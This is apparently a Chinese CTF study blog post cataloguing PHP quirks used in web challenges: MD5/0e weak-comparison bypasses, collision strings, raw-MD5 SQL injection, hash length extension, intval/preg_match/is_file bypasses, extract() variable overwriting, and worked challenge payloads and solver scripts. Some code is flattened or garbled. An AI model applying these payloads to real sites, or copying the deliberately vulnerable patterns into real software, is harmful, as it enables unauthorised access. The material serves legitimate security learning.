php部分特性漏洞学习

php部分函数漏洞学习

简单总结一些我遇到的ctf中的php的一些函数或特性的漏洞，我刷题还是太少了，所以很多例子来自ctfshow，以后遇到相关赛题再更新

1.MD5和其他hash

弱类型比较

php中，有两中判断相等的符号，==和===，前者是弱类型，只要值相等即可，后者是强比较，需要类型和值都相等

在弱类型比较中，如果是字符串和数字判断，会把字符串转为数字再来判断是否相等，转换规则如下：

当一个字符串当作一个数值来取值，其结果和类型如下:如果该字符串没有包含’.',‘e’,'E’并且其数值值在整形的范围之内
该字符串被当作int来取值，其他所有情况下都被作为float来取值，该字符串的开始部分决定了它的值，如果该字符串以合法的数值开始，则使用该数值，否则其值为0

php"> <?phpvar_dump("admin"==0);  // admin开始不为数字，转为0   truevar_dump("1admin"==1); // 1admin开始为数字1，转为1  truevar_dump("admin1"==1) //admin1开始不为数字，转为0    falsevar_dump("admin1"==0) //admin1开始不为数字，转为0    truevar_dump(NULL==0)     //truevar_dump(0==false);   //truevar_dump(NULL==false);   //truevar_dump("0e123456"=="0e4456789"); //true ?>

最后一个var_dump("0e123456"=="0e4456789")，在比较时，双方都被转为数字，由于有e，所以会被看成 0¹²³⁴⁵⁶和0^4456789，结果都是0，自然相等

这个特性常被用于MD5函数的绕过

==

php"><?php
$a='';
$b='';
if ($a!=$b &&md5($a)==md5($b))echo 'yes!';
?>

如何输出yes？，这里是==只要a和bmd5后，是0e开头，且后面是纯数字即可,网上可以找到很多，也可以用脚本去跑

import multiprocessing
import hashlib
import random
import string
import sys# 定义字符集，包括大小写字母和数字
CHARS = string.ascii_letters + string.digitsdef my_required(value,str_len):"""自定义函数，用于检查MD5哈希值是否满足特定要求"""# 生成0e开头，后面为纯数字# 将MD5哈希值去掉前两位，检查后面的字符是否都是数字new_value = value[str_len:]for i in new_value:if ord(i) >= 30 and ord(i) <= 57:continueelse:return Falsereturn Truedef cmp_md5(substr, stop_event, str_len, start=0, size=20):"""比较MD5哈希值的函数"""global CHARSwhile not stop_event.is_set():# 生成随机字符串rnds = ''.join(random.choice(CHARS) for _ in range(size))# 计算MD5哈希值md5 = hashlib.md5(rnds.encode('utf8'))value = md5.hexdigest()# 检查哈希值是否满足条件并输出if value[start: start + str_len] == substr:print(rnds)print(value)# 设置停止事件，停止其他进程stop_event.set()if __name__ == '__main__':# 从命令行参数获取目标MD5哈希值的子字符串和搜索起始位置substr = sys.argv[1].strip()start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0str_len = len(substr)# 获取计算机CPU核心数cpus = multiprocessing.cpu_count()# 创建一个事件对象来协调进程之间的停止stop_event = multiprocessing.Event()# 创建多个进程，每个进程运行cmp_md5函数以搜索满足条件的字符串processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, start_pos))for i in range(cpus)]# 启动所有进程for p in processes:p.start()# 等待所有进程完成for p in processes:p.join()

用法是py md5.py 0e 0，也可以搜索其他开头的md5字符串，网上有很多md5后0e的，如

PM1kVTMBEq1OHI4WE4Hm
MMHUWUV 
MAUXXQC 
IHKFRNS 
GZECLQZ 
GGHMVOE 
GEGHBXL 
EEIZDOI
DYAXWCA
240610708

===

php"><?php
$a='';
$b='';
if ($a!=$b &&md5($a)===md5($b))echo 'yes!';
?>

这里的a和bMD5后是强比较，不会转化类型，用0e的话由于两个字符串不相等无法绕过，可以把a和b设为数组，md5无法处理数组，就会返回NULL，NULL和NULL就是强相等的，如果要get传递，传a[]=1&b[]=2即可

strings强转

php"><?php
highlight_file(__FILE__);
$a=(string)$_GET['a'];
$b=(string)$_GET['b'];
var_dump($a);
if ($a!=$b &&md5($a)===md5($b) )
{echo 'yes!';
}
?>

这里把a和b都强制转为了字符串，数组过不了前面的条件，只能利用md5的缺陷，用fastcoll工具碰撞出md5值相同的但本身不同的字符串即可

用法：先新建一个txt，里面写入任意字符串，然后把这个txt拖到fastcoll即可，就会生成两个文本文件，里面分别就是值不同但md5相同的字符串

在这里插入图片描述

再用一个php脚本输出这两个值的url编码，传给a，b即可

php"><?php 
function readmyfile($path){$fh = fopen($path, "rb");$data = fread($fh, filesize($path));fclose($fh);return $data;
}
$a = urlencode(readmyfile("test_msg1.txt"));
$b = urlencode(readmyfile("test_msg2.txt"));
if(md5((string)urldecode($a))===md5((string)urldecode($b))){
echo "a=".$a;
}
echo "\n";
if(urldecode($a)!=urldecode($b)){
echo "b=".$b;
}

! 在这里插入图片描述

在这里插入图片描述

三个md5值相同的字符串

%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab

如果限制了a和b的长度，还有一种方法，利用浮点数的小数点精度问题，string强转后会构造出相同的字符串

在这里插入图片描述

具体利用如下

在这里插入图片描述

浮点数a的小数点位数超过了精度14，所以在转为字符串时精度会丢失，中间的0被舍去，最后被用来md5时，就是字符串"0.5"

生成md5相同的图片

这个网上就有两张相同的，https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value，也可以用fastcoll碰撞

 .\fastcoll_v1.0.0.5.exe .\0.jpg -o 1.jpg 2.jpg

0.jpg是自己先随便准备一个，然后就会生成md5相同的1.jpg和2.jpg

a==md5(a)

这就要求自己是0e，且md5后还是0e，上网找到两个

0e215962017
0e251288019

NULL也是可以被md5的，当md5(a)==md5(md5(b))时，可以把a设为NULL，b设为数组

双MD5后0e

CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM

MD5sql注入

demo

php"><?php include 'conn.php'; 
highlight_file(__file__); 
if (isset($_GET['user'])){ $query = "SELECT flag FROM here_is_flag WHERE password = '" . md5($_GET["user"],true) . "'"; $result = $conn->query($query); $row = $result->fetch_assoc(); var_dump($row); $result->free(); $conn->close(); 
} 
else{ echo "Please input the user！<br>"; }

md5函数第二个参数设为true时，会把得到的32为十六进制字符串转为ascii字符串，如果能构造出类似abc’ or '6就能造成sql注入，查询出flag

网上找了两个

129581926211651571912466741651878684928
ffifdyop

在这里插入图片描述

利用原生类绕过hash比较

Exception Error 类都有toString方法，这两类对象被用来hash就会触发该方法，若能控制相同的返回值，就能使hash值相同

Exception 类与 Error 的使用和结果完全一样，只不过 Exception 类适用于PHP 5和7，而 Error 只适用于 PHP 7。

demo

php"><?php include 'conn.php'; 
highlight_file(__file__); 
class Test {public $var1;public $var2;function __destruct(){var_dump(md5($this->var1));echo "<br>";var_dump(md5($this->var2));if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1) === sha1($this->var2)) ){eval($this->var1);}}
}unserialize($_GET['test']);
?>

在这里插入图片描述

可以看到，Error类的toString方法返回的字符串，与构造时输入的字符串和对象生成的行号有关，因此只要在同一行生成，输入同样的字符串，哈希处理时就能得到相同的结果，同时第二个参数不相同，这两个对象也会不同，如

在这里插入图片描述

现在绕过了hash的相等判断，但是很明显，toString返回的字符串中很多杂质，无法被eval执行

首先是代码前的Error: ，可以用?>闭合，然后再用<?php或<?=开启一个新的php代码段，结尾用?>闭合或者 __halt_compiler();提前结束执行php代码

在这里插入图片描述

记得要url编码，然后传过去即可

哈希长度拓展

表现：

知道一个原消息哈希值Hash(key+M1)及其(key+M1)长度，一般来说M1是我们已知的明文或者可以控制或者没有，key只知道长度，所以key+M1的长度都是已知的，那么对于任意的字符串M2，我们可以计算出Hash(pad(key∥M1) + M2)的值，而不需要知道是key及M1是多少，

所以要知道一个原始消息hash值，和密钥长度，然后弄清楚原始消息的结构（什么是key，什么是M1），以及我们要加入什么拓展字符，

具体原理不好叙述，可以看这篇大佬的文章学习 https://xz.aliyun.com/t/10602

以一道题为例子，

访问/路由获得源码

# encoding=utf-8from flask import Flask, request
import hashlib
import urllib.parse
import os
import json
# flag is in flag.txt
app = Flask(__name__)
secret_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if not os.path.exists(self.sandbox):os.mkdir(self.sandbox)def Exec(self):result = {}result['code'] = 500if self.checkSign():if "scan" in self.action:resp = scan(self.param)if resp == "Connection Timeout":result['data'] = respelse:print(resp)self.append_to_file(resp)  # Append content to an existing fileresult['code'] = 200if "read" in self.action:result['code'] = 200result['data'] = self.read_from_file()  # Read from an existing fileif result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if get_sign(self.action, self.param) == self.sign:return Trueelse:return False@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():param = urllib.parse.unquote(request.args.get("param", ""))action = "scan"return get_sign(action, param)def get_sign(action, param):return hashlib.md5(secret_key + param.encode('latin1') + action.encode('latin1')).hexdigest()@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():action = urllib.parse.unquote(request.cookies.get("action"))param = urllib.parse.unquote(request.args.get("param", ""))sign = urllib.parse.unquote(request.cookies.get("sign"))ip = request.remote_addrif waf(param):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')
def index():return open("code.txt", "r").read()def scan(param):try:with open(param, 'r') as file:content = file.read()return contentexcept FileNotFoundError:return "The file does not exist"def md5(content):return hashlib.md5(content.encode()).hexdigest()def waf(param):check = param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run()

思路：

这题如果要读取flag.txt，action要是scanread，先scan把flag.txt的内容存到一个文件中，再scan读出来，程序会校验sign值，正确才能读取

要读取flag.txt,需要计算md5(key+‘flag.txt’+‘scan’+‘read’),

正常的访问/genSign，返回的是md5(key+param+scan),如果param为空，返回的就是md5(key+scan)，scan算是已知明文，但我们需要计算md5(key+‘flag.txt’+‘scanread’), ,就算计算了md5(key+‘scan’+‘ext’)，也只能和md5(key+‘scan’)相等（哈希长度拓展攻击的表现形式）,不能和md5(key+‘flag.txt’+‘scanread’)相等

因此这里要把key+'flag.txt’看作key，长度为16+8=24。那么在访问/geneSign时就要传param=flag.txt，返回就是hash(keyflag.txt+‘scan’)，后面追加上

read即可

使用工具Hashpump，生成新的哈希值，要输入密钥长度，原始明文，还有你要追加的拓展字符,然后生成我们真正要在后面追加的ext

先去获得已知的hash值，访问/genSign?param=flag.txt，得到md5(key+flag.txt+scan)

在这里插入图片描述

Hashpump现在github好像搜不到了，可以用这个工具代替，https://github.com/shellfeel/hash-ext-attack

在这里插入图片描述

把需要的数据发送过去，获得flag，拓展的数据记得url编码一下

在这里插入图片描述

其他

1.md4后是0e的字符串

0e001233333333333334557778889
0e00000111222333333666788888889

2.sha1后是0e的字符串

aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
0e1290633704
10932435112

2.intval

这个大佬的文件讲的很详细，https://blog.csdn.net/wangyuxiang946/article/details/131156104

记录一下目前遇到的考点

科学表达式字符串

php<7.2.25时，intval函数不能正常解析字符串形式的科学表达式，会返回底数，如

php"><?php 
var_dump(intval(1e2));  #返回100
var_dump(intval('1e2'));#返回1
?>

demo:

php"><?php 
highlight_file(__FILE__);
$num=$_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){echo "good!";
}else{die("no!");
}
?>

给num传1e4，intval( $n u m) 解析字符串 ‘^{'} 1 e 4^{'} ‘ 返回 1 ，过第一个条件，后面的是$ num+1,数字和字符串相加，php会把字符串转为数字再相加，所以这是就会被解析为10000，从而过第二个条件

数组

demo

php"><?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if(preg_match("/[0-9]/", $num)){die("no no no!");}if(intval($num)){echo $flag;}
}
?>

正常来说，字符串被一般intval转化都是0，就算转为非0，要在字符串开头含有数字，无法绕过正则

但是这里可以传数组，intval处理数组会返回数字1,传?num[]=1即可

自动进制转换

intval函数第二个参数$base如果被设为0，此时会根据传入数字或字符串的格式，自动判断读取的数字的进制，判断方法如下

进制	格式
16	0x开头
8	0开头
10	正常

如

php">var_dump(intval('0x64',0));
var_dump(intval('0144',0));
var_dump(intval('100',0));
#结果都是100

浮点数处理

intval转换浮点数，有小数位会直接把小数位去掉，没有四舍五入，如intval(3.9)=3，intval(‘+0x64’,0)=100，数字前可以加+不影响解析

3.preg_match正则

换行绕过

绕过.

类似于preg_match('/^.*(flag).*$/',$a)在关键词前后＋了.，可以使用换行符%0a,绕过检测，.不匹配换行符

在这里插入图片描述

绕过$

$是匹配文本结束的字符，会忽略结尾的换行

在这里插入图片描述

preg_replace也可以用同样的方法来绕过

还有个ctfshow的例子

在这里插入图片描述

这个是/m修饰符会开启多行匹配，以换行符分割各行，有一行符合就返回true

反正看到类似^关键词$,就在关键词周围+换行就行

最大回溯绕过

p神的文章原理讲的很详细，https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

php的正则回溯次数是1000000，超过这个次数就会返回false

这里简单记录一下大概什么时候可以用这个绕过，感觉不止是回溯，似乎往前寻找的次数超过了限制也能触发

*在关键词左右使用了贪婪匹配 或 +

demo

php"><?php
error_reporting(0);
include 'flag.php';
if (isset($_POST['Y'])){$N = (string)$_POST['Y'];if (preg_match('/.*myon/is', $N)){die("相见很容易");}if (stripos($N, 'swctfmyon') === FALSE){die("再见却很难");}else{echo $flag."\n";var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);//检测最后一次正则表达式操作中的错误是不是回溯次数超出了限制}}
?>

这里要求字符串中有swctfmyonsnert，却不能有myon，在myon前有.*，如果放1000000个其他字符a，让php正则往后寻找次数超过限制，也是可以的

在这里插入图片描述

其他：

preg_match无法处理数组，直接传数组会返回false，strcmp以及其他处理字符串的函数也无法处理数组，会返回NULL或false,

而对于strcmp，在如果比较的两个字符串相等也是返回0，使用弱类型比较会造成漏洞

常见的处理字符串的函数

函数	功能
stripos	用于查找字符串中第一次出现子字符串的位置（不区分大小写）查找不到返回false
strpos	类似stripos，但 strpos 是区分大小写的
strcmp	比较两个字符串，相同返回0
stristr	用于在字符串中查找首次出现的子字符串（不区分大小写），并返回该子字符串及其后面的所有内容。如果没有找到子字符串，则返回 false

4.变量覆盖

在PHP中，符号表（Symbol Table）是一个内部数据结构，用于跟踪当前脚本中定义的变量和它们的值。在PHP脚本执行期间，符号表记录了所有已经声明的变量及其对应的值，并且可以动态地添加、修改和删除这些变量。

extract

PHP extract() 函数用于将数组中的键作为变量名，将对应的值作为变量值导入到当前程序的符号表中

extract()导入变量名和值时，如果原来已经存在相同的变量名，那么旧的值会被数组中同名的健对应的值替换掉

demo：

php"><?php
// 用户通过表单提交了一些数据，例如：
$hobby='play';
// 为了方便，直接使用 extract() 函数将 $_GET 数据导入到当前符号表中,以便后续使用
extract($_GET);
echo "用户: ".$name." 性别: ".$sex."<br>";
echo "your hobby is $hooby";
?>

可以看到，本来hobby的值为play，可以是我们通过get方式传入一个同名变量，使值为study，play就会被study覆盖，如：

在这里插入图片描述

parse_str

解析字符串，如果字符串中含有类似a=b字符串，就会把$a=b导入到符号表中，可能会覆盖已有变量的值

如：

在这里插入图片描述

$$

demo:

php"><?php
$a=0;
foreach ($_GET as $key => $value) {$$key=$value;
}
echo $a;?>

foreach遍历$GET数组，如果get传同名变量?a=10,在$$key=$value中，会先解析$key为a，然后就会变为$a=10，从而覆盖掉原来a的值

ctfshow也有个题

php">highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛？';
$suces='既然你想要那给你吧！';
# $suces=$flag
foreach($_GET as $key => $value){if($key==='error'){die("what are you doing?!");}$$key=$$value;
}foreach($_POST as $key => $value){if($value==='flag'){die("what are you doing?!");}#error=$suces$$key=$$value;
}
if(!($_POST['flag']==$flag)){die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>

跟demo不同，foreach右边也用了$ $，只能通过 ‘ d i e ($ error);`输出信息，所以看能不能通过覆盖把$error覆盖为flag，

在foreach $_POST的数组中，检测了value有没有flag，所以不能直接覆盖，需要绕一下，根据检测的值反着来即可，

get传 suces=flag，就可以把suces覆盖为flag

post再传 error=suces ，再把suces的值覆盖为flag即可

import_request_variables

这个函数会把 GET／POST／Cookie 变量导入到全局作用域中，如果程序中已经有同名变量，会造成覆盖

5.is_file&&require_once

这个也是来自ctfshow的一个题目：

php"><?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){die('hacker!');}else{return $file;}
}
$file=$_GET['file'];
if(! is_file($file)){highlight_file(filter($file));
}else{echo "hacker!";
} 
?>

可以直接用compress.zlib://flag.php读取文件，还学到了一个方法，不断重复/proc/self/root使得is_file返回false，简单来说就是这个函数在解析文件路径时是递归调用的，又因为/proc/self是符号链接，所以要不断递归解析到对应的文件路径，要用符号链接，这个递归层数是有限制的，最高为40，**所以只要/proc/self/root重复超过40次即可，**payload：

php">file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

具体的绕过原理可看这位大佬的文章

https://www.anquanke.com/post/id/213235

require_once或include_once都是只包含一次文件的的，也可以尝试用这个绕过

6.is_numeric&trim

is_numeric是检测传入参数字符串是否是数字，但是在php5中传入符合进制数字的字符串也会返回true，如

php">var_dump(is_numeric("0x123"));
var_dump(is_numeric("0123"));

在php5中都返回true，但在php7都会返回false

而且is_numeric有一些特殊字符是会忽略的的，如%0C(\f) %2B(+) - . %20(空) ，数字字符串里带上这些会true

trim函数也不会清除\f，即%0C

7.转换变量字符

php的变量只允许数字字母和下划线组成，通过get或post传的变量中如果有非法字符会被自动转化为_，但是这种转化只会发生一次，如果变量名中有两个非法字符，只会转化第一个

在这里插入图片描述

但是特殊符号不能放开头，而且居然不会转化{}，经过测试，通过get或post传会被转化_的字符有%20 . + [这四个字符

8.$_SERVER[‘argv’]

使用$_SERVER['argv']这个参数需要 php.ini中register_argc_argv=on（默认为off），这个配置开启时，通过web服务传递的参数可以被解析为命令行参数，存放在$_SERVER[‘argv’]中，这如：

在这里插入图片描述

可以看到，argc存放的是参数个数，argv数组存放了所有的参数，而且各个参数之间通过 + 分割，当然放$_GET和$_POST数组的参数还是按 & 分割的，

感觉这个部分的主要利用还是在pearcmd包含，ctfshow还有一个demo

php"><?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){eval("$c".";");  if($fl0g==="flag_give_me"){echo $flag;}}else{echo 'think more!';}
} 
else{echo '注意传参！';
}
?>

首先是变量字符转换，要正常传CTF_SHOW.COM，需要传CTF[SHOW.COM,提前让php转化非法字符

其次是如何让$fl0g==="flag_give_me"，尤其在!isset($_GET['fl0g']的情况下

这时就可以利用$a=$_SERVER['argv']，get传?$fl0g=flag_give_me，那么就是a就是 $fl0g=flag_give_me这个字符串，把c赋值为assert把这个字符串当作php代码执行，就能把$ fl0g导入进来，拿到flag，payload

get:  ?$fl0g=flag_give_me
post: CTF_SHOW=1&CTF[SHOW.COM=2&fun=assert($a[0])

php5不能执行assert，php7可以

9.gettext&get_defind_vars

这个也是来自ctfshow

php的gettext()函数就是返回你传入的参数，什么也不干，安装了gettext拓展后，使用 _() 就相当于 gettext() 这个别名在php5成功能使用，但我在php7.4失败了

get_defind_vars可以获取当前定义的变量和一些超全局变量，这个函数在无参数rce时也常用

demo：

php"><?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){var_dump(call_user_func(call_user_func($f1,$f2)));
}else{echo "嗯哼？";
}
function check($str){return !preg_match('/[0-9]|[a-z]/i', $str);
}

flag变量就在flag.php中，而且有call_user_func函数的套娃，想起了xyctf的call_user_func参数的套娃，🤣

传f1为_绕过正则，f2传get_defind_vars，第一次call_user_func( $f 1,$ f2)就返回get_defind_vars，然后再call_user_func第二次成功调用，打印出flag变量

其他

=优先于 & |

demo

在这里插入图片描述

在$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);，由于赋值预算比其他运算优先级高，所以v0先被is_numeric($v1)赋值了，后面的不会影响v0的值

json_decode

也是从一道题学习而得知，https://buuoj.cn/challenges#[HarekazeCTF2019]encode_and_encode

php处理json会自动解析unicode编码，但是8进制或16进制无法处理，因此可以用来绕过黑名单

题目实战

nssctf funmd5

php"><?php
error_reporting(0);
include "flag.php";
$time=time();
$guessmd5=md5($time);
$md5=$_GET["md5"];
if(isset($md5)){$sub=substr($time,-1);$md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);if(preg_match('/0e/',$md5[0])){$md5[0]=substr($md5[0],$sub);if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){echo "well!you win again!now flag is yours.<br>";echo $flag;}else{echo $md5[0];echo "oh!no!maybe you need learn more PHP!";}}else{echo "this is your md5:$md5[0]<br>";echo "maybe you need more think think!";}
}
else{highlight_file(__FILE__);$sub=strlen($md5[0]);echo substr($guessmd5,0,5)."<br>";echo "plase give me the md5!";
}
?>
4b257
plase give me the md5!

要传一个数组$md5,第一个元素要$md5[0]==md5($md5[0]，所以选取字符串0e215962017，因为正则里用的是^(.*)，所以用%0a绕过即可，但是绕过之后字符串中有了%0a导致md5值发生变化，此时就要看$sub=substr($time,-1),如果选在时间戳最后一位为1的时间请求，那么$md5[0]=substr($md5[0],$sub);这样截取的md5[0]就是正常的0e字符串了

至于$md5[1]，他要与时间戳的md5相等，跑个脚本一直发送即可

exp

import hashlib,time,requests
def try():while True:url = f"http://node5.anna.nssctf.cn:29502/?md5[0]=%0a0e215962017&md5[1]={str(hashlib.md5(str(int(time.time())).encode()).hexdigest())}"resp = requests.get(url=url)if "win" in resp.text:print(resp.text)returntime.sleep(1)
try()

在这里插入图片描述

php_966">newstarctf begin of php

源码

php"><?php
if(isset($_GET['key1']) && isset($_GET['key2'])){echo "=Level 1=<br>";if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){$flag1 = True;}else{die("nope,this is level 1");}
}
if($flag1){echo "=Level 2=<br>";if(isset($_POST['key3'])){if(md5($_POST['key3']) === sha1($_POST['key3'])){$flag2 = True;}}else{die("nope,this is level 2");}
}
if($flag2){echo "=Level 3=<br>";if(isset($_GET['key4'])){if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){$flag3 = True;}else{die("nope,this is level 3");}}
}
if($flag3){echo "=Level 4=<br>";if(isset($_GET['key5'])){if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){$flag4 = True;}else{die("nope,this is level 4");}}
}
if($flag4){echo "=Level 5=<br>";extract($_POST);foreach($_POST as $var){if(preg_match("/[a-zA-Z0-9]/",$var)){die("nope,this is level 5");}}if($flag5){echo file_get_contents("/flag");}else{die("nope,this is level 5");}
}

第一关md5弱类型，传两个即可，?key1=MAUXXQC&key2=MMHUWUV

第二关是强相等，虽然sha1和md5比，但两个都处理不了数组，post传key3[]=1

第三关是strcmp弱比较，key4肯定无法和flag相等，传数组返回false，false==0，传key4[]=1

第四关key5不能是纯数字又要>2023,传key5=2024a，即可，字符串在与数字运算时自动转为数字u

第五关有个extract，post变量值不能数字有字母，但只要不为空或false就能拿flag，post传flag5=?，利用extract导入即可，最后的总payload

get：?key1=MAUXXQC&key2=MMHUWUV&key4[]=1&key5=2024a
post:key3[]=1&flag5=?

在这里插入图片描述

xyctf warmup

源码

php"><?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);
